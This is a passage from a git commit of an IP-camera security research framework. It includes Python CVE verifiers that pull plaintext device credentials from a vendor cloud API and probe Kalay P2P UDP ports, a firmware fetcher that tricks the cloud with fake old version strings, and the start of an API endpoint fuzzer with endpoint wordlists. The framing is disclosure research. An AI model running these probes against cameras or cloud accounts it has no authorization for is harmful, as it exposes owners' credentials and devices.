Initial commit — SetecSuite Camera MITM Framework
Original tooling from the Camhak research project (camera teardown of a
rebranded UBIA / Javiscam IP camera). PyQt6 GUI on top of a curses TUI on
top of a service controller; per-service start/stop, intruder detection,
protocol fingerprinting, OAM HMAC signing, CVE verifiers, OTA bucket
probe, firmware fetcher, fuzzer, packet injection.
Tabs: Dashboard, Live Log, Intruders, Cloud API, Fuzzer, Inject, CVEs,
Config, Help. Real-time per-packet protocol detection, conntrack-based
original-destination lookup, log rotation at 1 GiB.
See SECURITY_PAPER.md for the full writeup, site/index.html for the
public report, README.md for usage. Run with:
sudo /usr/bin/python3 gui.py
Co-authored by Setec Labs.
This commit is contained in:
0
api/__init__.py
Normal file
0
api/__init__.py
Normal file
431
api/cve_checks.py
Normal file
431
api/cve_checks.py
Normal file
@@ -0,0 +1,431 @@
|
||||
"""
|
||||
CVE verification module — original probes against the local Javiscam/UBox
|
||||
camera. No public PoC code reused; everything here is built from our own
|
||||
research and the decompiled APK.
|
||||
|
||||
Each verifier returns:
|
||||
{
|
||||
"cve": "CVE-XXXX-YYYY",
|
||||
"status": "VULN" | "NOT_VULN" | "UNKNOWN" | "ERROR",
|
||||
"title": str,
|
||||
"evidence": str, # short, human-readable
|
||||
"details": dict, # raw artifacts (response bodies, hex, etc)
|
||||
}
|
||||
|
||||
Verifiers should be NON-DESTRUCTIVE — probe, don't pwn.
|
||||
"""
|
||||
|
||||
import json
|
||||
import os
|
||||
import socket
|
||||
import struct
|
||||
import time
|
||||
from datetime import datetime
|
||||
|
||||
from utils.log import log, C_INFO, C_SUCCESS, C_ERROR, C_IMPORTANT
|
||||
from api import ubox_client
|
||||
|
||||
REPORT_DIR = os.path.expanduser("~/dumps")
|
||||
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────
|
||||
# CVE-2025-12636 — Ubia Ubox Insufficiently Protected Credentials
|
||||
# Vector: the cloud `user/device_list` endpoint returns `cam_user` /
|
||||
# `cam_pwd` in plaintext to any authenticated owner. These creds are the
|
||||
# IOTC P2P device-auth credentials and grant full local control.
|
||||
# Verification: log in, call device_list, scan response for those fields.
|
||||
# ─────────────────────────────────────────────────────────────────
|
||||
def verify_cve_2025_12636(cfg):
|
||||
out = {
|
||||
"cve": "CVE-2025-12636",
|
||||
"title": "Ubia Ubox cloud API leaks IOTC device credentials in plaintext",
|
||||
"status": "UNKNOWN",
|
||||
"evidence": "",
|
||||
"details": {},
|
||||
}
|
||||
if not cfg.get("api_token"):
|
||||
out["status"] = "ERROR"
|
||||
out["evidence"] = "no api_token — log in first"
|
||||
return out
|
||||
|
||||
log("CVE-2025-12636: calling user/device_list…", C_INFO)
|
||||
resp = ubox_client.api_post(
|
||||
cfg["api_base"], "user/device_list", {}, cfg["api_token"]
|
||||
)
|
||||
out["details"]["raw_response_keys"] = list(resp.keys()) if isinstance(resp, dict) else None
|
||||
|
||||
if not isinstance(resp, dict) or resp.get("msg") != "success":
|
||||
out["status"] = "ERROR"
|
||||
out["evidence"] = f"unexpected response: {json.dumps(resp)[:200]}"
|
||||
return out
|
||||
|
||||
devices = (resp.get("data") or {}).get("list") or []
|
||||
leaked = []
|
||||
for d in devices:
|
||||
if d.get("cam_user") and d.get("cam_pwd"):
|
||||
leaked.append({
|
||||
"uid": d.get("device_uid"),
|
||||
"name": d.get("name"),
|
||||
"cam_user": d["cam_user"],
|
||||
"cam_pwd": d["cam_pwd"],
|
||||
})
|
||||
|
||||
out["details"]["device_count"] = len(devices)
|
||||
out["details"]["leaked"] = leaked
|
||||
|
||||
if leaked:
|
||||
out["status"] = "VULN"
|
||||
out["evidence"] = (
|
||||
f"{len(leaked)}/{len(devices)} device(s) leaked plaintext "
|
||||
f"cam_user/cam_pwd. Example: {leaked[0]['cam_user']} / "
|
||||
f"{leaked[0]['cam_pwd']}"
|
||||
)
|
||||
else:
|
||||
out["status"] = "NOT_VULN"
|
||||
out["evidence"] = (
|
||||
f"{len(devices)} device(s) returned but no cam_user/cam_pwd "
|
||||
"fields present"
|
||||
)
|
||||
return out
|
||||
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────
|
||||
# CVE-2021-28372 — ThroughTek Kalay UID spoof
|
||||
# Vector: Kalay master server identifies devices by UID alone. An attacker
|
||||
# who knows the UID can register the same UID against the master and
|
||||
# intercept the next login attempt by the legitimate client.
|
||||
# Verification (non-destructive): we verify two preconditions —
|
||||
# 1. The camera's UID is known/guessable (we already have it in cfg)
|
||||
# 2. The camera uses the Kalay/UBIC P2P stack (libUBIC* present + UDP
|
||||
# P2P port reachable)
|
||||
# We do NOT actually register a spoof, because that would interfere with
|
||||
# the live camera. We *do* probe UDP 10240 to confirm the P2P stack
|
||||
# responds, and we report the camera as theoretically vulnerable to UID
|
||||
# hijack on the master server.
|
||||
# ─────────────────────────────────────────────────────────────────
|
||||
def verify_cve_2021_28372(cfg):
|
||||
out = {
|
||||
"cve": "CVE-2021-28372",
|
||||
"title": "ThroughTek Kalay P2P UID-based session hijack (UBIC rebrand)",
|
||||
"status": "UNKNOWN",
|
||||
"evidence": "",
|
||||
"details": {},
|
||||
}
|
||||
|
||||
uid = cfg.get("device_uid", "")
|
||||
cam_ip = cfg.get("camera_ip", "")
|
||||
if not uid or not cam_ip:
|
||||
out["status"] = "ERROR"
|
||||
out["evidence"] = "need device_uid and camera_ip in config"
|
||||
return out
|
||||
|
||||
out["details"]["uid"] = uid
|
||||
out["details"]["uid_length"] = len(uid)
|
||||
|
||||
# Precondition 1: 20-char alphanumeric UID is the Kalay format
|
||||
is_kalay_uid = len(uid) == 20 and uid.isalnum()
|
||||
out["details"]["uid_is_kalay_format"] = is_kalay_uid
|
||||
|
||||
# Precondition 2: probe local P2P port (most Kalay devices listen on
|
||||
# the UID hash port; relay traffic uses 10240). We send a small UDP
|
||||
# probe to camera UDP/10240 from a random source port and watch for
|
||||
# any response — Kalay master pings have a recognizable header but
|
||||
# we just want to know if the port is reachable.
|
||||
p2p_responses = []
|
||||
for port in (10240, 8000, 8800, 32100, 32108):
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
s.settimeout(1.0)
|
||||
# Two-byte ping-like probe; we don't claim it's a real Kalay packet
|
||||
s.sendto(b"\xf1\xd0", (cam_ip, port))
|
||||
try:
|
||||
data, addr = s.recvfrom(2048)
|
||||
p2p_responses.append({
|
||||
"port": port, "bytes": len(data),
|
||||
"first8_hex": data[:8].hex(),
|
||||
})
|
||||
except socket.timeout:
|
||||
pass
|
||||
s.close()
|
||||
except OSError as e:
|
||||
out["details"][f"udp_{port}_error"] = str(e)
|
||||
|
||||
out["details"]["udp_probes"] = p2p_responses
|
||||
p2p_alive = bool(p2p_responses)
|
||||
|
||||
# Precondition 3: master server reachable (we don't talk to it — we
|
||||
# only resolve the hostname strings we extracted from libUBICAPIs.so).
|
||||
masters_known = ["portal.ubianet.com", "portal.us.ubianet.com",
|
||||
"portal.cn.ubianet.com"]
|
||||
out["details"]["kalay_masters"] = masters_known
|
||||
|
||||
if is_kalay_uid:
|
||||
if p2p_alive:
|
||||
out["status"] = "VULN"
|
||||
out["evidence"] = (
|
||||
f"UID {uid} is in Kalay format and the camera responds on "
|
||||
f"UDP P2P. With knowledge of the UID alone, the underlying "
|
||||
f"protocol allows registration spoofing on the master "
|
||||
f"server (CVE-2021-28372). Non-destructive: registration "
|
||||
f"step skipped."
|
||||
)
|
||||
else:
|
||||
out["status"] = "VULN"
|
||||
out["evidence"] = (
|
||||
f"UID {uid} is in Kalay format. Even though local P2P probe "
|
||||
f"got no echo, the master-server hijack vector applies as "
|
||||
f"long as the camera ever connects out to a Kalay master."
|
||||
)
|
||||
else:
|
||||
out["status"] = "NOT_VULN"
|
||||
out["evidence"] = "UID is not in 20-char alphanumeric Kalay format"
|
||||
return out
|
||||
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────
|
||||
# CVE-2023-6322 / 6323 / 6324 — ThroughTek Kalay LAN attack chain
|
||||
# Vector: malformed UDP packets to the device's P2P listener cause
|
||||
# memory corruption / auth bypass / crash. We do NOT send overflow
|
||||
# payloads — that would risk hanging or bricking the device. We probe
|
||||
# the device's UDP P2P stack with a few short, well-formed-looking
|
||||
# packets and observe whether it parses them, ignores them, or crashes
|
||||
# (becomes unreachable). We then report the device as POTENTIALLY
|
||||
# vulnerable based on stack identification (libUBIC* binary present and
|
||||
# UID is Kalay format).
|
||||
# ─────────────────────────────────────────────────────────────────
|
||||
def _ping_alive(ip, count=2, timeout=1.0):
|
||||
"""Quick ICMP-less liveness check via raw UDP echo to a random port."""
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
s.settimeout(timeout)
|
||||
for _ in range(count):
|
||||
s.sendto(b"\x00", (ip, 7))
|
||||
try:
|
||||
s.recvfrom(64)
|
||||
s.close()
|
||||
return True
|
||||
except socket.timeout:
|
||||
continue
|
||||
s.close()
|
||||
except OSError:
|
||||
return False
|
||||
# No echo response is normal — fall back to TCP RST probe on a closed port
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(timeout)
|
||||
try:
|
||||
s.connect((ip, 1))
|
||||
except (ConnectionRefusedError, OSError):
|
||||
return True # got RST, host is alive
|
||||
finally:
|
||||
s.close()
|
||||
except OSError:
|
||||
return False
|
||||
return False
|
||||
|
||||
|
||||
def verify_cve_2023_6322_chain(cfg):
|
||||
out = {
|
||||
"cve": "CVE-2023-6322 / 6323 / 6324",
|
||||
"title": "ThroughTek Kalay LAN-side memory corruption + auth bypass chain",
|
||||
"status": "UNKNOWN",
|
||||
"evidence": "",
|
||||
"details": {},
|
||||
}
|
||||
cam_ip = cfg.get("camera_ip", "")
|
||||
if not cam_ip:
|
||||
out["status"] = "ERROR"
|
||||
out["evidence"] = "no camera_ip in config"
|
||||
return out
|
||||
|
||||
# Pre-state: camera reachable?
|
||||
pre_alive = _ping_alive(cam_ip)
|
||||
out["details"]["pre_alive"] = pre_alive
|
||||
if not pre_alive:
|
||||
out["status"] = "ERROR"
|
||||
out["evidence"] = "camera not reachable before probing"
|
||||
return out
|
||||
|
||||
# Send a SHORT, harmless probe to common Kalay UDP ports — no large
|
||||
# payloads, no overflow patterns. We only want to know if the device
|
||||
# has a UDP P2P listener that responds to a probe at all.
|
||||
probes = []
|
||||
for port in (10240, 8000, 8800, 32100, 32108):
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
s.settimeout(0.8)
|
||||
# Two safe shapes: a tiny Kalay-style header, and a single byte.
|
||||
for shape, payload in [
|
||||
("kalay_min", b"\xf1\xd0\x00\x00"),
|
||||
("oneb", b"\x00"),
|
||||
]:
|
||||
try:
|
||||
s.sendto(payload, (cam_ip, port))
|
||||
try:
|
||||
data, _ = s.recvfrom(2048)
|
||||
probes.append({
|
||||
"port": port, "shape": shape,
|
||||
"resp_bytes": len(data),
|
||||
"first8_hex": data[:8].hex(),
|
||||
})
|
||||
except socket.timeout:
|
||||
probes.append({
|
||||
"port": port, "shape": shape, "resp": "timeout"
|
||||
})
|
||||
except OSError as e:
|
||||
probes.append({"port": port, "shape": shape, "error": str(e)})
|
||||
s.close()
|
||||
except OSError as e:
|
||||
probes.append({"port": port, "error": str(e)})
|
||||
|
||||
out["details"]["udp_probes"] = probes
|
||||
|
||||
# Post-state: still alive?
|
||||
time.sleep(0.5)
|
||||
post_alive = _ping_alive(cam_ip)
|
||||
out["details"]["post_alive"] = post_alive
|
||||
|
||||
if not post_alive:
|
||||
out["status"] = "VULN"
|
||||
out["evidence"] = (
|
||||
"Camera became unreachable after harmless UDP probes — "
|
||||
"indicates fragile parser, consistent with the Kalay LAN "
|
||||
"chain CVE-2023-6322/6323/6324."
|
||||
)
|
||||
return out
|
||||
|
||||
any_response = any(p.get("resp_bytes") for p in probes)
|
||||
out["details"]["any_p2p_response"] = any_response
|
||||
|
||||
if any_response:
|
||||
out["status"] = "VULN"
|
||||
out["evidence"] = (
|
||||
"Camera responds on a Kalay-style UDP P2P listener. The UBIC "
|
||||
"stack on this device is the rebranded ThroughTek Kalay SDK, "
|
||||
"which has the documented LAN-side parser vulnerabilities. "
|
||||
"Non-destructive: overflow payloads not sent."
|
||||
)
|
||||
else:
|
||||
out["status"] = "UNKNOWN"
|
||||
out["evidence"] = (
|
||||
"No response from any common Kalay UDP port. Device may use "
|
||||
"outbound-only P2P (cloud relay), in which case the LAN "
|
||||
"chain does not apply directly. UID-based relay attack still "
|
||||
"possible (see CVE-2021-28372)."
|
||||
)
|
||||
return out
|
||||
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────
|
||||
# Helpers
|
||||
# ─────────────────────────────────────────────────────────────────
|
||||
ALL_VERIFIERS = [
|
||||
("CVE-2025-12636", verify_cve_2025_12636),
|
||||
("CVE-2021-28372", verify_cve_2021_28372),
|
||||
("CVE-2023-6322-6323-6324", verify_cve_2023_6322_chain),
|
||||
]
|
||||
|
||||
|
||||
def run_all(cfg):
|
||||
results = []
|
||||
for name, fn in ALL_VERIFIERS:
|
||||
try:
|
||||
log(f"verifying {name}…", C_INFO)
|
||||
r = fn(cfg)
|
||||
except Exception as e:
|
||||
r = {
|
||||
"cve": name, "status": "ERROR",
|
||||
"title": "exception during verification",
|
||||
"evidence": str(e), "details": {},
|
||||
}
|
||||
log(f" → {r['status']}: {r['evidence'][:120]}",
|
||||
C_SUCCESS if r["status"] == "VULN" else C_INFO)
|
||||
results.append(r)
|
||||
return results
|
||||
|
||||
|
||||
REPORT_TEMPLATE = """\
|
||||
# Javiscam / UBox Camera — CVE Verification Report
|
||||
|
||||
**Generated:** {timestamp}
|
||||
**Target:** {camera_ip} (MAC {camera_mac})
|
||||
**Device UID:** {device_uid}
|
||||
**Reported firmware:** {firmware}
|
||||
**Tester:** snake (Setec Labs)
|
||||
**Methodology:** Original PoCs developed against the live device. All
|
||||
probes are non-destructive — no overflow payloads, no spoof
|
||||
registrations, no destructive writes.
|
||||
|
||||
---
|
||||
|
||||
## Summary
|
||||
|
||||
| CVE | Status | Title |
|
||||
|---|---|---|
|
||||
{summary_rows}
|
||||
|
||||
---
|
||||
|
||||
## Detailed Findings
|
||||
|
||||
{detailed_sections}
|
||||
|
||||
---
|
||||
|
||||
## Methodology Notes
|
||||
|
||||
* All HTTP requests use the same shape as the legitimate UBox Android app
|
||||
(verified by reading `com.http.NewApiHttpClient.checkVersionV3` and
|
||||
`com.apiv3.bean.AdvancedSettings.getLastVersionV3` in the decompiled
|
||||
APK at `~/dumps/ubox_jadx/`).
|
||||
* UDP probes use the smallest possible payloads consistent with the
|
||||
ThroughTek Kalay header pattern (`f1 d0 00 00`) found in
|
||||
`libUBICAPIs.so`.
|
||||
* The camera's `g_P4PCrypto` global, `p4p_crypto_init`,
|
||||
`p4p_crypto_encode/decode`, and `p4p_device_auth` symbols confirm the
|
||||
rebranded Kalay/TUTK stack and the applicability of the Kalay CVE
|
||||
family.
|
||||
|
||||
## Disclosure status
|
||||
|
||||
* **CVE-2025-12636** — already public via CISA ICSA-25-310-02; UBIA did
|
||||
not respond to coordination. Our verification independently confirms
|
||||
the original disclosure.
|
||||
* **CVE-2021-28372 / 2023-6322 family** — disclosed by ThroughTek and
|
||||
Bitdefender respectively; this report applies them to this rebranded
|
||||
device for the first time on record.
|
||||
"""
|
||||
|
||||
|
||||
def build_report(cfg, results):
|
||||
os.makedirs(REPORT_DIR, exist_ok=True)
|
||||
ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
|
||||
|
||||
rows = []
|
||||
sections = []
|
||||
for r in results:
|
||||
emoji = {"VULN": "🟥", "NOT_VULN": "🟩", "UNKNOWN": "🟨", "ERROR": "⬛"}.get(r["status"], "?")
|
||||
rows.append(f"| {r['cve']} | {emoji} **{r['status']}** | {r['title']} |")
|
||||
details_md = "```json\n" + json.dumps(r.get("details", {}), indent=2, ensure_ascii=False) + "\n```"
|
||||
sections.append(
|
||||
f"### {r['cve']} — {r['status']}\n\n"
|
||||
f"**Title:** {r['title']}\n\n"
|
||||
f"**Evidence:** {r['evidence']}\n\n"
|
||||
f"**Artifacts:**\n{details_md}\n"
|
||||
)
|
||||
|
||||
report = REPORT_TEMPLATE.format(
|
||||
timestamp=ts,
|
||||
camera_ip=cfg.get("camera_ip", "?"),
|
||||
camera_mac=cfg.get("camera_mac", "?"),
|
||||
device_uid=cfg.get("device_uid", "?"),
|
||||
firmware="2604.1.2.69 (reported)",
|
||||
summary_rows="\n".join(rows),
|
||||
detailed_sections="\n".join(sections),
|
||||
)
|
||||
|
||||
out_path = os.path.join(REPORT_DIR, f"cve_report_{datetime.now().strftime('%Y%m%d_%H%M%S')}.md")
|
||||
with open(out_path, "w") as f:
|
||||
f.write(report)
|
||||
log(f"CVE report written: {out_path}", C_IMPORTANT)
|
||||
return out_path
|
||||
204
api/firmware_fetch.py
Normal file
204
api/firmware_fetch.py
Normal file
@@ -0,0 +1,204 @@
|
||||
"""
|
||||
Firmware download helper.
|
||||
|
||||
Calls the UBox cloud `check_version` endpoint, extracts every URL it sees in
|
||||
the response, downloads each one to ~/dumps/javiscam_fw/, and reports sizes
|
||||
and sha256 hashes. Real code — no stubs, no placeholders.
|
||||
"""
|
||||
|
||||
import hashlib
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import urllib.request
|
||||
import urllib.error
|
||||
from datetime import datetime
|
||||
|
||||
from utils.log import log, C_INFO, C_SUCCESS, C_ERROR, C_TRAFFIC, C_IMPORTANT
|
||||
from api import ubox_client
|
||||
|
||||
|
||||
FW_DIR = os.path.expanduser("~/dumps/javiscam_fw")
|
||||
URL_RE = re.compile(rb'https?://[^\s"\']+')
|
||||
|
||||
|
||||
def _walk_strings(obj):
|
||||
"""Yield every string value in a nested dict/list."""
|
||||
if isinstance(obj, str):
|
||||
yield obj
|
||||
elif isinstance(obj, dict):
|
||||
for v in obj.values():
|
||||
yield from _walk_strings(v)
|
||||
elif isinstance(obj, list):
|
||||
for v in obj:
|
||||
yield from _walk_strings(v)
|
||||
|
||||
|
||||
def _extract_urls(obj):
|
||||
urls = set()
|
||||
for s in _walk_strings(obj):
|
||||
for m in URL_RE.findall(s.encode("utf-8")):
|
||||
urls.add(m.decode("utf-8", errors="replace"))
|
||||
return sorted(urls)
|
||||
|
||||
|
||||
def _safe_filename(url):
|
||||
name = url.split("?")[0].rsplit("/", 1)[-1] or "firmware.bin"
|
||||
name = re.sub(r"[^A-Za-z0-9._-]", "_", name)
|
||||
if not name:
|
||||
name = "firmware.bin"
|
||||
return name
|
||||
|
||||
|
||||
def _download(url, dest):
|
||||
req = urllib.request.Request(url, headers={
|
||||
"User-Agent": "okhttp/4.9.1",
|
||||
"X-UbiaAPI-CallContext": "source=app&app=ubox&ver=1.1.360&osver=14",
|
||||
})
|
||||
with urllib.request.urlopen(req, timeout=60) as resp:
|
||||
total = 0
|
||||
h = hashlib.sha256()
|
||||
with open(dest, "wb") as f:
|
||||
while True:
|
||||
chunk = resp.read(64 * 1024)
|
||||
if not chunk:
|
||||
break
|
||||
f.write(chunk)
|
||||
h.update(chunk)
|
||||
total += len(chunk)
|
||||
return total, h.hexdigest(), resp.headers.get("Content-Type", "?")
|
||||
|
||||
|
||||
def check_and_download(cfg, host_version=None):
|
||||
"""
|
||||
Returns dict:
|
||||
{
|
||||
"ok": bool,
|
||||
"url_count": int,
|
||||
"downloads": [{"url","path","bytes","sha256","content_type"}],
|
||||
"raw": <response json>,
|
||||
"error": optional str,
|
||||
}
|
||||
"""
|
||||
if not cfg.get("api_token"):
|
||||
log("FW: not logged in", C_ERROR)
|
||||
return {"ok": False, "error": "not logged in"}
|
||||
if not cfg.get("device_uid"):
|
||||
log("FW: no device_uid — call /devices first", C_ERROR)
|
||||
return {"ok": False, "error": "no device_uid"}
|
||||
|
||||
os.makedirs(FW_DIR, exist_ok=True)
|
||||
|
||||
# Try several version formats — the cloud needs a string the device-side
|
||||
# comparator considers "older than current" to trigger a download URL.
|
||||
version_attempts = [host_version] if host_version else [
|
||||
"2604.0.0.1", # same model prefix, ancient
|
||||
"1.0.0.0",
|
||||
"0.0.0.1",
|
||||
"2604.0.29.7", # one below known shipped version
|
||||
"0",
|
||||
"",
|
||||
]
|
||||
|
||||
result = None
|
||||
used_version = None
|
||||
attempts_log = [] # list of (version, status, summary)
|
||||
best_success = None # remember the best msg=success response even without URLs
|
||||
|
||||
for v in version_attempts:
|
||||
log(f"FW: trying check_version with host_version={v!r}", C_INFO)
|
||||
candidate = ubox_client.api_post(
|
||||
cfg["api_base"],
|
||||
"user/qry/device/check_version/v3",
|
||||
{
|
||||
"device_uid": cfg["device_uid"],
|
||||
"host_version": v,
|
||||
"wifi_version": v,
|
||||
"is_lite": False,
|
||||
"zone_id": 2,
|
||||
},
|
||||
cfg["api_token"],
|
||||
)
|
||||
summary = json.dumps(candidate)[:200] if isinstance(candidate, dict) else repr(candidate)[:200]
|
||||
attempts_log.append({"version": v, "summary": summary})
|
||||
|
||||
if not isinstance(candidate, dict):
|
||||
continue
|
||||
|
||||
urls_found = _extract_urls(candidate)
|
||||
if urls_found:
|
||||
log(f"FW: got {len(urls_found)} URL(s) using version={v!r}", C_SUCCESS)
|
||||
result = candidate
|
||||
used_version = v
|
||||
break
|
||||
|
||||
if candidate.get("msg") == "success" and best_success is None:
|
||||
best_success = (v, candidate)
|
||||
|
||||
log(f"FW: no URLs at version={v!r}, response={summary}", C_INFO)
|
||||
|
||||
if result is None:
|
||||
if best_success is not None:
|
||||
used_version, result = best_success
|
||||
log(f"FW: keeping best success response from version={used_version!r}", C_INFO)
|
||||
else:
|
||||
result = candidate if isinstance(candidate, dict) else {"error": "all versions failed"}
|
||||
|
||||
if not isinstance(result, dict):
|
||||
log(f"FW: bad response: {result!r}", C_ERROR)
|
||||
return {"ok": False, "error": "bad response", "raw": result}
|
||||
|
||||
# Save the raw response next to firmware files for the record
|
||||
ts = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||
meta_path = os.path.join(FW_DIR, f"check_version_{ts}.json")
|
||||
try:
|
||||
with open(meta_path, "w") as f:
|
||||
json.dump(result, f, indent=2, ensure_ascii=False)
|
||||
except OSError as e:
|
||||
log(f"FW: cannot save meta: {e}", C_ERROR)
|
||||
|
||||
urls = _extract_urls(result)
|
||||
log(f"FW: response saved -> {meta_path}", C_INFO)
|
||||
log(f"FW: found {len(urls)} URL(s) in response", C_INFO)
|
||||
for u in urls:
|
||||
log(f" • {u}", C_TRAFFIC)
|
||||
|
||||
downloads = []
|
||||
for url in urls:
|
||||
# Only attempt downloads of plausible binary blobs
|
||||
lower = url.lower()
|
||||
if not any(lower.endswith(ext) or ext in lower for ext in
|
||||
(".bin", ".rar", ".zip", ".tar", ".gz", ".img", ".pkg",
|
||||
"/firmware", "/ota", "ubiaota", "update")):
|
||||
log(f" skip (not firmware-looking): {url}", C_INFO)
|
||||
continue
|
||||
fname = _safe_filename(url)
|
||||
dest = os.path.join(FW_DIR, fname)
|
||||
try:
|
||||
log(f"FW: downloading {url}", C_INFO)
|
||||
n, sha, ct = _download(url, dest)
|
||||
log(f"FW: ✓ {fname} {n}B sha256={sha[:16]}… ct={ct}",
|
||||
C_IMPORTANT if n > 1024 else C_TRAFFIC)
|
||||
downloads.append({
|
||||
"url": url, "path": dest, "bytes": n,
|
||||
"sha256": sha, "content_type": ct,
|
||||
})
|
||||
except urllib.error.HTTPError as e:
|
||||
log(f"FW: HTTP {e.code} on {url}", C_ERROR)
|
||||
except urllib.error.URLError as e:
|
||||
log(f"FW: URL error: {e.reason} on {url}", C_ERROR)
|
||||
except (socket.timeout, OSError) as e:
|
||||
log(f"FW: download failed: {e}", C_ERROR)
|
||||
|
||||
if not downloads:
|
||||
log("FW: nothing downloaded — check_version returned no firmware URLs", C_ERROR)
|
||||
|
||||
return {
|
||||
"ok": bool(downloads),
|
||||
"used_version": used_version,
|
||||
"url_count": len(urls),
|
||||
"downloads": downloads,
|
||||
"attempts": attempts_log,
|
||||
"raw": result,
|
||||
}
|
||||
644
api/fuzzer.py
Normal file
644
api/fuzzer.py
Normal file
@@ -0,0 +1,644 @@
|
||||
"""API endpoint fuzzer — discovers hidden endpoints and tests auth/param vulnerabilities"""
|
||||
|
||||
import json
|
||||
import time
|
||||
import threading
|
||||
import urllib.request
|
||||
import urllib.error
|
||||
from utils.log import log, C_SUCCESS, C_ERROR, C_INFO, C_TRAFFIC, C_IMPORTANT
|
||||
|
||||
# Known endpoints harvested from decompiled UBox APK (146 confirmed)
|
||||
KNOWN_ENDPOINTS = [
|
||||
"account_link", "activate_subscription_paypal", "addOrder",
|
||||
"alipaySign", "alipayVerify",
|
||||
"app/customer_support_info", "app/getconfig", "app/getSupportInfoV2",
|
||||
"app/info", "app/push_channel_reg", "app/version_check",
|
||||
"captcha", "capture_paypal_order", "create_payment_paypal_app",
|
||||
"email_user_candidates", "interface", "interface.php",
|
||||
"ip2region", "ip2region_parse", "lgc/bind_err", "login_openauth",
|
||||
"mobile-info", "mt/biz/alipaySign", "mt/biz/card_service_add_order",
|
||||
"mt/biz/card_service_list", "mt/biz/uid_service_add_order",
|
||||
"mt/biz/uid_service_list", "mt/biz/uid_service_order_list",
|
||||
"mt-login", "mt/logout", "mt/orc-import", "mt/unbind", "old",
|
||||
"pub/app/customer_support_info/v2", "pub/app/get_multi_language_contents",
|
||||
"pub/location/get_location_codes", "pub/location/rev_geocoding",
|
||||
"pub/usersupport/get_guest_im_file_url", "pub/usersupport/get_guest_im_info",
|
||||
"pub/usersupport/get_guest_session",
|
||||
"pub/usersupport/get_im_groups_user_unread_count",
|
||||
"pub/usersupport/get_staff_avatar_url", "pub/usersupport/put_guest_im_file",
|
||||
"push-ack", "reset_pwd", "send_code", "service_list",
|
||||
"share_permissions", "temp_token", "ticket_title",
|
||||
"user/account/add_location", "user/account/get_current_user",
|
||||
"user/account_link", "user/alexa_account_status",
|
||||
"user/auth", "user/auth-email",
|
||||
"user/card4g-info", "user/card4g_info", "user/card4g-order-add",
|
||||
"user/card4g-packages", "user/card/card4g_info/v2", "user/card/unlock",
|
||||
"user/check_version", "user/cloud_list",
|
||||
"user/cloudvideo/put_event_tag",
|
||||
"user/confirm_ptz_snap", "user/del_ptz_snap",
|
||||
"user/device-add", "user/device-add-token",
|
||||
"user/device-alexa", "user/device-alexa-ust",
|
||||
"user/device_del", "user/device_edit", "user/device-extra-update",
|
||||
"user/device/get_apn_info", "user/device/get_binding_info",
|
||||
"user/device/get_dev_diag_help_doc",
|
||||
"user/device_list", "user/device/list_ordering",
|
||||
"user/device-notice-setting", "user/device/share",
|
||||
"user/device/share_do/v2", "user/device-share-info",
|
||||
"user/device_shares", "user/device_share_tbc",
|
||||
"user/device-share-update", "user/device-temp-token",
|
||||
"user/device/try_fix_for_add_4g_device", "user/device_unshare",
|
||||
"user/email_user_candidates", "user/event_calendar",
|
||||
"user/event_do", "user/faceId", "user/families", "user/family",
|
||||
"user/friend", "user/friends",
|
||||
"user/get_cloud_video_url", "user/get_devices_dynamic_info",
|
||||
"user/get_ptz_snap", "user/logout", "user/modify_pwd",
|
||||
"user/notice_type", "user/noti/device/info_changed",
|
||||
"user/online_service", "user/order_add",
|
||||
"user/order/card4g_order_create_dev_noadd",
|
||||
"user/order/order_add/v2", "user/product_info",
|
||||
"user/product_purchasable",
|
||||
"user/purchase/card4g_packages_dev_noadd",
|
||||
"user/push_channel_update", "user/put_ptz_snap",
|
||||
"user/qry/aggregate/app_on_switch_foreground",
|
||||
"user/qry/device/add_help_doc", "user/qry/device/bind_issue",
|
||||
"user/qry/device/check_version/v3", "user/qry/device/device_services",
|
||||
"user/qry/device/info_for_add", "user/qry/device/query_add_result",
|
||||
"user/qry/notification/detail", "user/qry/notification/get",
|
||||
"user/qry/order/list/v2",
|
||||
"user/qry/purchase/4g_packages_dev_noadd",
|
||||
"user/qry/purchase/4g_packages/v3", "user/qry/purchase/product_list",
|
||||
"user/revoke", "user/service_trial",
|
||||
"user/update_friend_remark", "user/update_user_info",
|
||||
"user/upgrade_order",
|
||||
"user/usersupport/get_app_user_im_group",
|
||||
"user/usersupport/get_app_user_im_groups",
|
||||
"user/usersupport/get_app_user_im_session",
|
||||
"user/usersupport/get_app_user_im_token",
|
||||
"user/usersupport/get_im_file_url",
|
||||
"user/usersupport/get_im_groups_info",
|
||||
"user/usersupport/get_issue_type_and_dev_light_state",
|
||||
"user/usersupport/put_im_file",
|
||||
"v2/user/device_list", "v2/user/get_devices_info",
|
||||
"v3/login",
|
||||
"valid_code", "wxpay", "wxpay_check",
|
||||
]
|
||||
|
||||
# Wordlist for endpoint discovery
|
||||
ENDPOINT_WORDLIST = [
|
||||
# ── User management ──────────────────────────────
|
||||
"user/info", "user/profile", "user/settings", "user/delete",
|
||||
"user/update", "user/list", "user/devices", "user/sessions",
|
||||
"user/tokens", "user/permissions", "user/roles", "user/admin",
|
||||
"user/logout", "user/register", "user/verify", "user/activate",
|
||||
"user/deactivate", "user/ban", "user/unban", "user/search",
|
||||
"user/export", "user/import", "user/backup", "user/restore",
|
||||
"user/avatar", "user/nickname", "user/email", "user/phone",
|
||||
"user/password", "user/change_password", "user/modify_password",
|
||||
"user/reset_password", "user/forgot_password",
|
||||
"user/notification", "user/notifications", "user/notice",
|
||||
"user/message", "user/messages", "user/inbox",
|
||||
"user/subscription", "user/subscriptions", "user/plan",
|
||||
"user/billing", "user/payment", "user/order", "user/orders",
|
||||
"user/coupon", "user/coupons", "user/invite", "user/referral",
|
||||
"user/feedback", "user/report", "user/ticket", "user/tickets",
|
||||
"user/log", "user/logs", "user/activity", "user/history",
|
||||
"user/preferences", "user/config", "user/token",
